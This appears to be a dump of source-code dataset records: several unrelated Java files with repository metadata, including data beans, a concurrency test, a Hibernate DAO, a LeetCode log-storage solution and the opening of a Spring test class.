import java.util.Map;
/**
* Created by adam1 on 17.12.2016.
*/
public class PublicationInfo {
private Path filePath;
private String title;
private String abstractContent;
private String keyWordsContent;
private Map<String, Long> abstractTermFrequencies;
private List<String> keyWords = new LinkedList<>();
private List<String> titleTerms;
public Path getFilePath() {
return filePath;
}
public void setFilePath(Path filePath) {
this.filePath = filePath;
}
public String getTitle() {
return title;
}
public void setTitle(String title) {
this.title = title;
}
public String getAbstractContent() {
return abstractContent;
}
public void setAbstractContent(String abstractContent) {
this.abstractContent = abstractContent;
}
public String getKeyWordsContent() {
return keyWordsContent;
}
public void setKeyWordsContent(String keyWordsContent) {
this.keyWordsContent = keyWordsContent;
}
public Map<String, Long> getAbstractTermFrequencies() {
return abstractTermFrequencies;
}
public void setAbstractTermFrequencies(Map<String, Long> abstractTermFrequencies) {
this.abstractTermFrequencies = abstractTermFrequencies;
}
public List<String> getKeyWords() {
return keyWords;
}
public void setKeyWords(List<String> keyWords) {
this.keyWords = keyWords;
}
public List<String> getTitleTerms() {
return titleTerms;
}
public void setTitleTerms(List<String> titleTerms) {
this.titleTerms = titleTerms;
}
}
|
UTF-8
|
Java
| 1,754 |
java
|
PublicationInfo.java
|
Java
|
[
{
"context": "til.List;\nimport java.util.Map;\n\n/**\n * Created by adam1 on 17.12.2016.\n */\npublic class PublicationInfo {",
"end": 140,
"score": 0.999605655670166,
"start": 135,
"tag": "USERNAME",
"value": "adam1"
}
] | null |
[] |
package data;
import java.nio.file.Path;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
/**
* Created by adam1 on 17.12.2016.
*/
public class PublicationInfo {
private Path filePath;
private String title;
private String abstractContent;
private String keyWordsContent;
private Map<String, Long> abstractTermFrequencies;
private List<String> keyWords = new LinkedList<>();
private List<String> titleTerms;
public Path getFilePath() {
return filePath;
}
public void setFilePath(Path filePath) {
this.filePath = filePath;
}
public String getTitle() {
return title;
}
public void setTitle(String title) {
this.title = title;
}
public String getAbstractContent() {
return abstractContent;
}
public void setAbstractContent(String abstractContent) {
this.abstractContent = abstractContent;
}
public String getKeyWordsContent() {
return keyWordsContent;
}
public void setKeyWordsContent(String keyWordsContent) {
this.keyWordsContent = keyWordsContent;
}
public Map<String, Long> getAbstractTermFrequencies() {
return abstractTermFrequencies;
}
public void setAbstractTermFrequencies(Map<String, Long> abstractTermFrequencies) {
this.abstractTermFrequencies = abstractTermFrequencies;
}
public List<String> getKeyWords() {
return keyWords;
}
public void setKeyWords(List<String> keyWords) {
this.keyWords = keyWords;
}
public List<String> getTitleTerms() {
return titleTerms;
}
public void setTitleTerms(List<String> titleTerms) {
this.titleTerms = titleTerms;
}
}
| 1,754 | 0.672748 | 0.667617 | 75 | 22.386667 | 20.862658 | 87 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.386667 | false | false |
8
|
44ce048a65ca6d0e3774e254cf7b7f4f2954745e
| 16,192,026,746,078 |
4964ba7f163281f39d08f153095a423be7263734
|
/src/main/java/tech/itpark/avito/domain/Flat.java
|
5c29ac39545b268254f11ff159e26feec9665cb0
|
[] |
no_license
|
ramil-kham/rest-avito
|
https://github.com/ramil-kham/rest-avito
|
b9a2ee6021a01a6fd2d2b785c0aa0146f1226408
|
b9336b7bfae4872cf87ede5897d98402502aacf1
|
refs/heads/master
| 2023-03-20T18:48:17.004000 | 2021-03-20T18:36:04 | 2021-03-20T18:36:04 | 348,484,492 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package tech.itpark.avito.domain;
import lombok.AllArgsConstructor;
import lombok.Data;
@AllArgsConstructor
@Data
public class Flat {
private long id;
private int rooms;
private double metricArea;
private int price;
private String address;
private String image;
private String description;
private long created;
private boolean removed;
}
|
UTF-8
|
Java
| 378 |
java
|
Flat.java
|
Java
|
[] | null |
[] |
package tech.itpark.avito.domain;
import lombok.AllArgsConstructor;
import lombok.Data;
@AllArgsConstructor
@Data
public class Flat {
private long id;
private int rooms;
private double metricArea;
private int price;
private String address;
private String image;
private String description;
private long created;
private boolean removed;
}
| 378 | 0.73545 | 0.73545 | 19 | 18.894737 | 11.461123 | 33 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.631579 | false | false |
8
|
1339ff1a8b3c3a9aa55ebc8325607f86772b86b6
| 16,192,026,745,127 |
9f15b36216b7de6a194efd440ff2c28ccb69689b
|
/src/com/tangjianghua/juc/container/collection/QueueTest.java
|
3277f60de818fafeecb7bdc4266effd21ef2a620
|
[] |
no_license
|
tang-jianghua/juc
|
https://github.com/tang-jianghua/juc
|
7204ae0c693ae3a7aa786bbc3c9d7ff44df5e244
|
2cfcb16fb2647802b76de389112aa57a3a256a13
|
refs/heads/master
| 2023-02-04T22:35:18.447000 | 2020-12-28T06:44:30 | 2020-12-28T06:44:30 | 272,479,790 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.tangjianghua.juc.container.collection;
import java.util.Collections;
import java.util.PriorityQueue;
import java.util.Queue;
import java.util.concurrent.*;
/**
* @author tangjianghua
* @date 2020/6/24
*/
public class QueueTest {
public static void main(String[] args) {
// ArrayBlockingQueue<Object> list = new ArrayBlockingQueue<>(100000);
// LinkedBlockingQueue<Object> list = new LinkedBlockingQueue<>(100000);
ConcurrentLinkedQueue<Object> list = new ConcurrentLinkedQueue<>();
CountDownLatch countDownLatch = new CountDownLatch(100);
for (int i = 0; i < 100; i++) {
new Thread(() -> {
for (int j = 0; j < 1000; j++) {
list.offer(Thread.currentThread().getName() + "--" + j);
}
countDownLatch.countDown();
}).start();
}
try {
countDownLatch.await();
} catch (InterruptedException e) {
e.printStackTrace();
}
System.out.println(list.size());
}
}
|
UTF-8
|
Java
| 1,070 |
java
|
QueueTest.java
|
Java
|
[
{
"context": "ue;\nimport java.util.concurrent.*;\n\n/**\n * @author tangjianghua\n * @date 2020/6/24\n */\npublic class QueueTest {\n\n",
"end": 197,
"score": 0.9994553923606873,
"start": 185,
"tag": "USERNAME",
"value": "tangjianghua"
}
] | null |
[] |
package com.tangjianghua.juc.container.collection;
import java.util.Collections;
import java.util.PriorityQueue;
import java.util.Queue;
import java.util.concurrent.*;
/**
* @author tangjianghua
* @date 2020/6/24
*/
public class QueueTest {
public static void main(String[] args) {
// ArrayBlockingQueue<Object> list = new ArrayBlockingQueue<>(100000);
// LinkedBlockingQueue<Object> list = new LinkedBlockingQueue<>(100000);
ConcurrentLinkedQueue<Object> list = new ConcurrentLinkedQueue<>();
CountDownLatch countDownLatch = new CountDownLatch(100);
for (int i = 0; i < 100; i++) {
new Thread(() -> {
for (int j = 0; j < 1000; j++) {
list.offer(Thread.currentThread().getName() + "--" + j);
}
countDownLatch.countDown();
}).start();
}
try {
countDownLatch.await();
} catch (InterruptedException e) {
e.printStackTrace();
}
System.out.println(list.size());
}
}
| 1,070 | 0.580374 | 0.551402 | 35 | 29.571428 | 23.625998 | 79 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.542857 | false | false |
8
|
2493cc00b369e136484da8926f8eace7b7930fb8
| 34,866,544,553,843 |
90593c193c3f2337eb6712c44bf4cedfc77b599b
|
/cima-integration-test/citf-common/src/main/java/com/comcast/test/citf/common/cima/persistence/LogFinderDAO.java
|
9e51227b0c39081671eaa9c2503adbcf7ae780b6
|
[] |
no_license
|
TanmoyChanda/iaac-demo
|
https://github.com/TanmoyChanda/iaac-demo
|
9f721af34b7468840a3650e8ba41ba1d89800291
|
fdb852e6ba29b6c5d31d16b3ecb47ac748a27db4
|
refs/heads/master
| 2021-04-09T15:19:07.590000 | 2018-03-22T09:51:08 | 2018-03-22T09:51:08 | 125,735,059 | 0 | 0 | null | true | 2018-03-18T14:47:08 | 2018-03-18T14:47:07 | 2018-01-24T05:50:11 | 2018-01-25T04:41:40 | 1,302 | 0 | 0 | 0 | null | false | null |
package com.comcast.test.citf.common.cima.persistence;
import org.hibernate.Criteria;
import org.hibernate.criterion.Restrictions;
import org.springframework.stereotype.Repository;
import org.springframework.transaction.annotation.Transactional;
import com.comcast.test.citf.common.cima.persistence.beans.LogFinders;
import com.comcast.test.citf.common.orm.AbstractDAO;
import com.comcast.test.citf.common.util.ICommonConstants;
/**
* DAO class for retrieving application logs.
*
* @author Abhijit Rej (arej001c)
* @since October 2015
*
*/
@Repository("logFinderDao")
public class LogFinderDAO extends AbstractDAO{
/**
* Persists the log finder details in database.
* This method is used to load log finder into the database.
*
* @param id The unique Id to identify the log query.
* @param environment The environment.
* @param logPath The server log path.
* @param regex The regular expression to retrive logs from server log.
* @param splunkQry The Splunk query.
* @param splunkKey The Splunk key to look for.
*/
@Transactional
public void populateLogFinder( String id,
String environment,
String logPath,
String regex,
String splunkQry,
String splunkKey){
LogFinders.LogFindersPrimaryKeys pk = getLogFindersPrimaryKeys(id, environment);
LogFinders lf = getLogFinders(pk, logPath, regex, splunkQry, splunkKey);
getSession().merge(lf);
}
/**
* Gets the log finder associated with the log query Id and environment.
*
* @param id The log query Id.
* @param environment The environment.
*
* @return The log finder object.
*/
@Transactional(readOnly=true)
public LogFinders findLogChecker(String id, String environment){
Criteria criteria = getSession().createCriteria(LogFinders.class)
.add(Restrictions.eq("primaryKey.id", id))
.add(Restrictions.in("primaryKey.environment", new String[]{ICommonConstants.ENVIRONMENT_ALL, environment}));
Object result = criteria.uniqueResult();
return result!=null?(LogFinders)result:null ;
}
protected LogFinders.LogFindersPrimaryKeys getLogFindersPrimaryKeys(String id, String environment) {
return new LogFinders.LogFindersPrimaryKeys(id, environment);
}
protected LogFinders getLogFinders(LogFinders.LogFindersPrimaryKeys pk,
String logPath,
String regex,
String splunkQry,
String splunkKey) {
return new LogFinders(pk, logPath, regex, splunkQry, splunkKey);
}
}
|
UTF-8
|
Java
| 2,634 |
java
|
LogFinderDAO.java
|
Java
|
[
{
"context": "for retrieving application logs. \r\n * \r\n * @author Abhijit Rej (arej001c)\r\n * @since October 2015\r\n *\r\n */\r\n\r\n@R",
"end": 525,
"score": 0.9998820424079895,
"start": 514,
"tag": "NAME",
"value": "Abhijit Rej"
},
{
"context": " application logs. \r\n * \r\n * @author Abhijit Rej (arej001c)\r\n * @since October 2015\r\n *\r\n */\r\n\r\n@Repository(",
"end": 535,
"score": 0.9962732195854187,
"start": 527,
"tag": "USERNAME",
"value": "arej001c"
}
] | null |
[] |
package com.comcast.test.citf.common.cima.persistence;
import org.hibernate.Criteria;
import org.hibernate.criterion.Restrictions;
import org.springframework.stereotype.Repository;
import org.springframework.transaction.annotation.Transactional;
import com.comcast.test.citf.common.cima.persistence.beans.LogFinders;
import com.comcast.test.citf.common.orm.AbstractDAO;
import com.comcast.test.citf.common.util.ICommonConstants;
/**
* DAO class for retrieving application logs.
*
* @author <NAME> (arej001c)
* @since October 2015
*
*/
@Repository("logFinderDao")
public class LogFinderDAO extends AbstractDAO{
/**
* Persists the log finder details in database.
* This method is used to load log finder into the database.
*
* @param id The unique Id to identify the log query.
* @param environment The environment.
* @param logPath The server log path.
* @param regex The regular expression to retrive logs from server log.
* @param splunkQry The Splunk query.
* @param splunkKey The Splunk key to look for.
*/
@Transactional
public void populateLogFinder( String id,
String environment,
String logPath,
String regex,
String splunkQry,
String splunkKey){
LogFinders.LogFindersPrimaryKeys pk = getLogFindersPrimaryKeys(id, environment);
LogFinders lf = getLogFinders(pk, logPath, regex, splunkQry, splunkKey);
getSession().merge(lf);
}
/**
* Gets the log finder associated with the log query Id and environment.
*
* @param id The log query Id.
* @param environment The environment.
*
* @return The log finder object.
*/
@Transactional(readOnly=true)
public LogFinders findLogChecker(String id, String environment){
Criteria criteria = getSession().createCriteria(LogFinders.class)
.add(Restrictions.eq("primaryKey.id", id))
.add(Restrictions.in("primaryKey.environment", new String[]{ICommonConstants.ENVIRONMENT_ALL, environment}));
Object result = criteria.uniqueResult();
return result!=null?(LogFinders)result:null ;
}
protected LogFinders.LogFindersPrimaryKeys getLogFindersPrimaryKeys(String id, String environment) {
return new LogFinders.LogFindersPrimaryKeys(id, environment);
}
protected LogFinders getLogFinders(LogFinders.LogFindersPrimaryKeys pk,
String logPath,
String regex,
String splunkQry,
String splunkKey) {
return new LogFinders(pk, logPath, regex, splunkQry, splunkKey);
}
}
| 2,629 | 0.6959 | 0.693242 | 78 | 31.76923 | 28.035198 | 125 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 2.320513 | false | false |
8
|
d7b983b570939bad11a9d1f3f6ceca58f930ea20
| 36,893,769,100,496 |
c00bc909b988b600259b84f1734e436d99a6f675
|
/SistemaCA/src/br/com/cacomp/domain/Contato.java
|
f6872922ff53ac6956e86b965ddd205b4e1391d6
|
[] |
no_license
|
beyhive16/CentroAcademico
|
https://github.com/beyhive16/CentroAcademico
|
d2da004269e9d00ee3e59c6504aeb6ca0e485048
|
9ac4c7d21bdcb6d7d56b665888de744bb640a8c7
|
refs/heads/master
| 2021-01-21T15:22:10.216000 | 2017-08-17T03:28:12 | 2017-08-17T03:28:12 | 95,382,862 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package br.com.cacomp.domain;
public class Contato {
private String identificacao;
private String mensagem;
public String getIdentificacao() {
return identificacao;
}
public void setIdentificacao(String identificacao) {
this.identificacao = identificacao;
}
public String getMensagem() {
return mensagem;
}
public void setMensagem(String mensagem) {
this.mensagem = mensagem;
}
}
|
UTF-8
|
Java
| 403 |
java
|
Contato.java
|
Java
|
[] | null |
[] |
package br.com.cacomp.domain;
public class Contato {
private String identificacao;
private String mensagem;
public String getIdentificacao() {
return identificacao;
}
public void setIdentificacao(String identificacao) {
this.identificacao = identificacao;
}
public String getMensagem() {
return mensagem;
}
public void setMensagem(String mensagem) {
this.mensagem = mensagem;
}
}
| 403 | 0.751861 | 0.751861 | 22 | 17.318182 | 16.518272 | 53 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.136364 | false | false |
8
|
762e0d9169a8509eef3d10d31c8c2b5f59ee869b
| 33,775,622,871,049 |
a943f3aa41e7f3b4bf8e10d4121fdfce99a207b9
|
/LeetCode/Design_Log_Storage_System.java
|
413d79b17ce92df136da52a76b08003dfa09c654
|
[] |
no_license
|
noahjpark/Algorithms
|
https://github.com/noahjpark/Algorithms
|
3160ebce01c833de94223fc9fd90432a879cdc02
|
fb4159370f96dbe48af44186b9bbe0e577ca1ce7
|
refs/heads/master
| 2023-06-18T21:00:35.328000 | 2021-07-14T13:40:47 | 2021-07-14T13:40:47 | 218,333,384 | 1 | 1 | null | null | null | null | null | null | null | null | null | null | null | null | null |
/* Noah Park
You are given several logs, where each log contains a unique ID and timestamp. Timestamp is a string that has the following format: Year:Month:Day:Hour:Minute:Second, for example, 2017:01:01:23:59:59. All domains are zero-padded decimal numbers.
Implement the LogSystem class:
LogSystem() Initializes the LogSystem object.
void put(int id, string timestamp) Stores the given log (id, timestamp) in your storage system.
int[] retrieve(string start, string end, string granularity) Returns the IDs of the logs whose timestamps are within the range from start to end inclusive. start and end all have the same format as timestamp, and granularity means how precise the range should be (i.e. to the exact Day, Minute, etc.). For example, start = "2017:01:01:23:59:59", end = "2017:01:02:23:59:59", and granularity = "Day" means that we need to find the logs within the inclusive range from Jan. 1st 2017 to Jan. 2nd 2017, and the Hour, Minute, and Second for each log entry can be ignored.
*/
// Intuition: Map each number to its timestamp. Based on the case, we can compare parts of th string to see if they are within a range. Going from right to left ensures the larger numbers (year vs seconds) take precedence.
// Time: O(n) to iterate over all boundaries.
// Space: O(n) to maintain timestamps.
class LogSystem {
Map<Integer, String> map;
public LogSystem() {
map = new HashMap<>();
}
public void put(int id, String timestamp) {
map.put(id, timestamp);
}
public List<Integer> retrieve(String start, String end, String granularity) {
List<Integer> res = new ArrayList<>();
for (Integer id : map.keySet()) {
String[] split = map.get(id).split(":"), s = start.split(":"), e = end.split(":");
boolean ss = true, ee = true;
int idx;
switch (granularity) {
case "Year" -> idx = 1;
case "Month" -> idx = 2;
case "Day" -> idx = 3;
case "Hour" -> idx = 4;
case "Minute" -> idx = 5;
default -> idx = 6;
}
for (int i = idx - 1; i >= 0; i--) {
if (split[i].compareTo(s[i]) < 0) ss = false;
else if (split[i].compareTo(s[i]) > 0) ss = true;
if (split[i].compareTo(e[i]) > 0) ee = false;
else if (split[i].compareTo(e[i]) < 0) ee = true;
}
if (ss && ee) res.add(id);
}
return res;
}
}
/**
* Your LogSystem object will be instantiated and called as such:
* LogSystem obj = new LogSystem();
* obj.put(id,timestamp);
* List<Integer> param_2 = obj.retrieve(start,end,granularity);
*/
|
UTF-8
|
Java
| 2,814 |
java
|
Design_Log_Storage_System.java
|
Java
|
[
{
"context": "/* Noah Park\n\nYou are given several logs, where each log conta",
"end": 12,
"score": 0.9990555644035339,
"start": 3,
"tag": "NAME",
"value": "Noah Park"
}
] | null |
[] |
/* <NAME>
You are given several logs, where each log contains a unique ID and timestamp. Timestamp is a string that has the following format: Year:Month:Day:Hour:Minute:Second, for example, 2017:01:01:23:59:59. All domains are zero-padded decimal numbers.
Implement the LogSystem class:
LogSystem() Initializes the LogSystem object.
void put(int id, string timestamp) Stores the given log (id, timestamp) in your storage system.
int[] retrieve(string start, string end, string granularity) Returns the IDs of the logs whose timestamps are within the range from start to end inclusive. start and end all have the same format as timestamp, and granularity means how precise the range should be (i.e. to the exact Day, Minute, etc.). For example, start = "2017:01:01:23:59:59", end = "2017:01:02:23:59:59", and granularity = "Day" means that we need to find the logs within the inclusive range from Jan. 1st 2017 to Jan. 2nd 2017, and the Hour, Minute, and Second for each log entry can be ignored.
*/
// Intuition: Map each number to its timestamp. Based on the case, we can compare parts of th string to see if they are within a range. Going from right to left ensures the larger numbers (year vs seconds) take precedence.
// Time: O(n) to iterate over all boundaries.
// Space: O(n) to maintain timestamps.
class LogSystem {
Map<Integer, String> map;
public LogSystem() {
map = new HashMap<>();
}
public void put(int id, String timestamp) {
map.put(id, timestamp);
}
public List<Integer> retrieve(String start, String end, String granularity) {
List<Integer> res = new ArrayList<>();
for (Integer id : map.keySet()) {
String[] split = map.get(id).split(":"), s = start.split(":"), e = end.split(":");
boolean ss = true, ee = true;
int idx;
switch (granularity) {
case "Year" -> idx = 1;
case "Month" -> idx = 2;
case "Day" -> idx = 3;
case "Hour" -> idx = 4;
case "Minute" -> idx = 5;
default -> idx = 6;
}
for (int i = idx - 1; i >= 0; i--) {
if (split[i].compareTo(s[i]) < 0) ss = false;
else if (split[i].compareTo(s[i]) > 0) ss = true;
if (split[i].compareTo(e[i]) > 0) ee = false;
else if (split[i].compareTo(e[i]) < 0) ee = true;
}
if (ss && ee) res.add(id);
}
return res;
}
}
/**
* Your LogSystem object will be instantiated and called as such:
* LogSystem obj = new LogSystem();
* obj.put(id,timestamp);
* List<Integer> param_2 = obj.retrieve(start,end,granularity);
*/
| 2,811 | 0.593817 | 0.570718 | 65 | 42.292309 | 78.209923 | 566 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.8 | false | false |
8
|
adcaa9b350dadd69551fd3cc02d31fe103bddc54
| 6,253,472,404,795 |
948288a75a517b46b93f002cb8c2d8e25f759399
|
/src/com/ddetyuk/actions/models/UserRoom.java
|
03066b005662118408ef054d784509e45ef94078
|
[] |
no_license
|
ddetyuk/zdom-bot
|
https://github.com/ddetyuk/zdom-bot
|
d0e38aa69936a24afd823ae4ec1c6382cdaa9500
|
497fb1df6673c4067e44403ce3c0fad444771cfc
|
refs/heads/master
| 2021-01-01T19:24:03.160000 | 2012-02-22T22:01:43 | 2012-02-22T22:01:43 | 3,245,653 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.ddetyuk.actions.models;
import java.util.HashMap;
import javax.jdo.annotations.IdGeneratorStrategy;
import javax.jdo.annotations.IdentityType;
import javax.jdo.annotations.PersistenceCapable;
import javax.jdo.annotations.Persistent;
import javax.jdo.annotations.PrimaryKey;
import com.google.appengine.api.datastore.Key;
/**
*
* @author Dmitriy Detyuk (ddetyuk@gmail.com)
*/
@PersistenceCapable(detachable = "true", identityType = IdentityType.APPLICATION)
public class UserRoom {
@PrimaryKey
@Persistent(valueStrategy = IdGeneratorStrategy.IDENTITY)
private Key id;
@Persistent
private Long rid = 0L;
@Persistent
private Long lastPhenomenonStep=0L;
@Persistent
private Long count=0L;
@Persistent
private Long phenomenonId=0L;
@Persistent
private Long masterLevel=4L;
@Persistent
private Long minTime=0L;
@Persistent
private Long totalCount=0L;
@Persistent
private Long lastModeId=0L;
@Persistent
private Long nextModeId=0L;
@Persistent
private Long roomId=0L;
// @Persistent
// @ManyToOne(targetEntity = User.class, cascade = { CascadeType.ALL })
// private User user;
public UserRoom(Key id, Long rid, Long lastPhenomenonStep, Long count,
Long phenomenonId, Long masterLevel, Long minTime, Long totalCount,
Long lastModeId, Long nextModeId, Long roomId) {
super();
this.id = id;
this.rid = rid;
this.lastPhenomenonStep = lastPhenomenonStep;
this.count = count;
this.phenomenonId = phenomenonId;
this.masterLevel = masterLevel;
this.minTime = minTime;
this.totalCount = totalCount;
this.lastModeId = lastModeId;
this.nextModeId = nextModeId;
this.roomId = roomId;
}
public UserRoom(HashMap<String, Object> data){
super();
setFromHashMap(data);
}
public void setFromHashMap(HashMap<String, Object> data) {
this.rid = Long.parseLong(data.get("id").toString());
this.lastPhenomenonStep = Long.parseLong(data.get("last_phenomenon_step").toString());
this.count = Long.parseLong(data.get("count").toString());
this.phenomenonId = Long.parseLong(data.get("phenomenon_id").toString());
this.masterLevel = Long.parseLong(data.get("master_level").toString());
this.minTime = Long.parseLong(data.get("min_time").toString());
this.totalCount = Long.parseLong(data.get("total_count").toString());
this.lastModeId = Long.parseLong(data.get("last_mode_id").toString());
this.nextModeId = Long.parseLong(data.get("next_mode_id").toString());
this.roomId = Long.parseLong(data.get("room_id").toString());
}
public Long getRid() {
return rid;
}
public void setRid(Long rid) {
this.rid = rid;
}
public Long getLastPhenomenonStep() {
return lastPhenomenonStep;
}
public void setLastPhenomenonStep(Long lastPhenomenonStep) {
this.lastPhenomenonStep = lastPhenomenonStep;
}
public Long getCount() {
return count;
}
public void setCount(Long count) {
this.count = count;
}
public Long getPhenomenonId() {
return phenomenonId;
}
public void setPhenomenonId(Long phenomenonId) {
this.phenomenonId = phenomenonId;
}
public Long getMasterLevel() {
return masterLevel;
}
public void setMasterLevel(Long masterLevel) {
this.masterLevel = masterLevel;
}
public Long getMinTime() {
return minTime;
}
public void setMinTime(Long minTime) {
this.minTime = minTime;
}
public Long getTotalCount() {
return totalCount;
}
public void setTotalCount(Long totalCount) {
this.totalCount = totalCount;
}
public Long getLastModeId() {
return lastModeId;
}
public void setLastModeId(Long lastModeId) {
this.lastModeId = lastModeId;
}
public Long getNextModeId() {
return nextModeId;
}
public void setNextModeId(Long nextModeId) {
this.nextModeId = nextModeId;
}
public Long getRoomId() {
return roomId;
}
public void setRoomId(Long roomId) {
this.roomId = roomId;
}
public Long getNeedfullEnergy(){
if( phenomenonId>0L ){
return 60L;
}else{
return 40L;
}
}
// public User getUser() {
// return user;
// }
//
// public void setUser(User user) {
// this.user = user;
// }
//
@Override
public String toString() {
StringBuilder builder = new StringBuilder();
builder.append("UserRoom [id=").append(id)
.append(", lastPhenomenonStep=").append(lastPhenomenonStep)
.append(", count=").append(count).append(", phenomenonId=")
.append(phenomenonId).append(", masterLevel=")
.append(masterLevel).append(", minTime=").append(minTime)
.append(", totalCount=").append(totalCount)
.append(", lastModeId=").append(lastModeId)
.append(", nextModeId=").append(nextModeId).append(", roomId=")
.append(roomId).append("]");
return builder.toString();
}
}
|
UTF-8
|
Java
| 4,691 |
java
|
UserRoom.java
|
Java
|
[
{
"context": "e.appengine.api.datastore.Key;\n\n/**\n * \n * @author Dmitriy Detyuk (ddetyuk@gmail.com)\n */\n@PersistenceCapable(detac",
"end": 370,
"score": 0.9998531341552734,
"start": 356,
"tag": "NAME",
"value": "Dmitriy Detyuk"
},
{
"context": "atastore.Key;\n\n/**\n * \n * @author Dmitriy Detyuk (ddetyuk@gmail.com)\n */\n@PersistenceCapable(detachable = \"true\", ide",
"end": 389,
"score": 0.9999269843101501,
"start": 372,
"tag": "EMAIL",
"value": "ddetyuk@gmail.com"
}
] | null |
[] |
package com.ddetyuk.actions.models;
import java.util.HashMap;
import javax.jdo.annotations.IdGeneratorStrategy;
import javax.jdo.annotations.IdentityType;
import javax.jdo.annotations.PersistenceCapable;
import javax.jdo.annotations.Persistent;
import javax.jdo.annotations.PrimaryKey;
import com.google.appengine.api.datastore.Key;
/**
*
* @author <NAME> (<EMAIL>)
*/
@PersistenceCapable(detachable = "true", identityType = IdentityType.APPLICATION)
public class UserRoom {
@PrimaryKey
@Persistent(valueStrategy = IdGeneratorStrategy.IDENTITY)
private Key id;
@Persistent
private Long rid = 0L;
@Persistent
private Long lastPhenomenonStep=0L;
@Persistent
private Long count=0L;
@Persistent
private Long phenomenonId=0L;
@Persistent
private Long masterLevel=4L;
@Persistent
private Long minTime=0L;
@Persistent
private Long totalCount=0L;
@Persistent
private Long lastModeId=0L;
@Persistent
private Long nextModeId=0L;
@Persistent
private Long roomId=0L;
// @Persistent
// @ManyToOne(targetEntity = User.class, cascade = { CascadeType.ALL })
// private User user;
public UserRoom(Key id, Long rid, Long lastPhenomenonStep, Long count,
Long phenomenonId, Long masterLevel, Long minTime, Long totalCount,
Long lastModeId, Long nextModeId, Long roomId) {
super();
this.id = id;
this.rid = rid;
this.lastPhenomenonStep = lastPhenomenonStep;
this.count = count;
this.phenomenonId = phenomenonId;
this.masterLevel = masterLevel;
this.minTime = minTime;
this.totalCount = totalCount;
this.lastModeId = lastModeId;
this.nextModeId = nextModeId;
this.roomId = roomId;
}
public UserRoom(HashMap<String, Object> data){
super();
setFromHashMap(data);
}
public void setFromHashMap(HashMap<String, Object> data) {
this.rid = Long.parseLong(data.get("id").toString());
this.lastPhenomenonStep = Long.parseLong(data.get("last_phenomenon_step").toString());
this.count = Long.parseLong(data.get("count").toString());
this.phenomenonId = Long.parseLong(data.get("phenomenon_id").toString());
this.masterLevel = Long.parseLong(data.get("master_level").toString());
this.minTime = Long.parseLong(data.get("min_time").toString());
this.totalCount = Long.parseLong(data.get("total_count").toString());
this.lastModeId = Long.parseLong(data.get("last_mode_id").toString());
this.nextModeId = Long.parseLong(data.get("next_mode_id").toString());
this.roomId = Long.parseLong(data.get("room_id").toString());
}
public Long getRid() {
return rid;
}
public void setRid(Long rid) {
this.rid = rid;
}
public Long getLastPhenomenonStep() {
return lastPhenomenonStep;
}
public void setLastPhenomenonStep(Long lastPhenomenonStep) {
this.lastPhenomenonStep = lastPhenomenonStep;
}
public Long getCount() {
return count;
}
public void setCount(Long count) {
this.count = count;
}
public Long getPhenomenonId() {
return phenomenonId;
}
public void setPhenomenonId(Long phenomenonId) {
this.phenomenonId = phenomenonId;
}
public Long getMasterLevel() {
return masterLevel;
}
public void setMasterLevel(Long masterLevel) {
this.masterLevel = masterLevel;
}
public Long getMinTime() {
return minTime;
}
public void setMinTime(Long minTime) {
this.minTime = minTime;
}
public Long getTotalCount() {
return totalCount;
}
public void setTotalCount(Long totalCount) {
this.totalCount = totalCount;
}
public Long getLastModeId() {
return lastModeId;
}
public void setLastModeId(Long lastModeId) {
this.lastModeId = lastModeId;
}
public Long getNextModeId() {
return nextModeId;
}
public void setNextModeId(Long nextModeId) {
this.nextModeId = nextModeId;
}
public Long getRoomId() {
return roomId;
}
public void setRoomId(Long roomId) {
this.roomId = roomId;
}
public Long getNeedfullEnergy(){
if( phenomenonId>0L ){
return 60L;
}else{
return 40L;
}
}
// public User getUser() {
// return user;
// }
//
// public void setUser(User user) {
// this.user = user;
// }
//
@Override
public String toString() {
StringBuilder builder = new StringBuilder();
builder.append("UserRoom [id=").append(id)
.append(", lastPhenomenonStep=").append(lastPhenomenonStep)
.append(", count=").append(count).append(", phenomenonId=")
.append(phenomenonId).append(", masterLevel=")
.append(masterLevel).append(", minTime=").append(minTime)
.append(", totalCount=").append(totalCount)
.append(", lastModeId=").append(lastModeId)
.append(", nextModeId=").append(nextModeId).append(", roomId=")
.append(roomId).append("]");
return builder.toString();
}
}
| 4,673 | 0.716478 | 0.713281 | 205 | 21.882927 | 21.727266 | 88 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.653659 | false | false |
8
|
b111c1d4487d6c5b3d3eb645965f78e3a95d9400
| 16,045,997,844,332 |
933199bcfa948a85929f54ddbc4e8ca45a711bf7
|
/后端代码/blog/blog-web/src/test/java/com/xiudoua/micro/service/ChannelServiceTest.java
|
394d7dcf9fee1c7423196e1135c95a99d34ced54
|
[] |
no_license
|
xianhaiGitHub/blog-web
|
https://github.com/xianhaiGitHub/blog-web
|
19f39bd687679c38658ff64035a9ddd059dbda4f
|
a28f9be3b7af1465b5e71535f46071af4cfacf73
|
refs/heads/master
| 2020-05-31T23:06:29.988000 | 2019-01-29T11:05:27 | 2019-01-29T11:05:27 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.xiudoua.micro.service;
import java.util.List;
import org.junit.Assert;
import org.junit.FixMethodOrder;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.MethodSorters;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.util.StringUtils;
import com.xiudoua.micro.InitApp;
import com.xiudoua.micro.exceptions.FormException;
import com.xiudoua.micro.model.ChannelVO;
/**
*
* @desc 栏目数据单元测试
* @author JustFresh
* @time 2018年11月24日 下午3:43:22
* @site http://www.xiudoua.com
* @email justfresh@foxmail.com
*/
@RunWith(SpringJUnit4ClassRunner.class)
@SpringBootTest(classes=InitApp.class)
